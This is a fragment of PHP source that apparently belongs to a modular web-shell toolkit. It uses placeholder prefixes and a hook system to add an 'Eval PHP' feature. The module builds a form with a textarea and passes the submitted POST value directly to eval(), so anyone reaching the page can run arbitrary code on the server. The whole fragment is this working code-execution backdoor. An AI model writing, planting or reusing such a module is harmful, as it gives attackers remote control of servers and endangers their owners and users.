$feature["op"] === $page)); $page_content = __PREFIX__makePage( $features, $css, $page, [__PREFIX__makePageHeader( $feature[0]["title"], $feature[0]["description"] ), __PREFIX__makeForm( $page, $_SERVER["REQUEST_URI"], [__PREFIX__makeInput( "textarea", "PHP code", "__PARAM_1__", "echo 'Hello, world!';", "The PHP code to evaluate.", true )] )] ); } /** * Handle the code evaluation operation * * @param $operation string The operation to handle * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features container * * @return void */ function __PREFIX__handleCodeEvaluation($operation, $features) { eval($_POST["__PARAM_1__"]); } /** * Hook the features to add the code evaluation feature * * @param $features array{title: string, description: string, svg: string, hidden?: bool, op: string}[] The features * container * * @return void */ function __PREFIX__codeEvalHooksFeatures(&$features) { global $EVAL; $features[] = ["title" => "Eval PHP", "description" => "Evaluate PHP code.", "svg" => ' ', "op" => $EVAL]; } // section.functions.end // section.hooks add_hook("features", "__PREFIX__codeEvalHooksFeatures"); add_named_hook("GET_page", $EVAL, "__PREFIX__makeCodeEvaluationPage"); add_named_hook("POST_operation", $EVAL, "__PREFIX__handleCodeEvaluation"); // section.hooks.end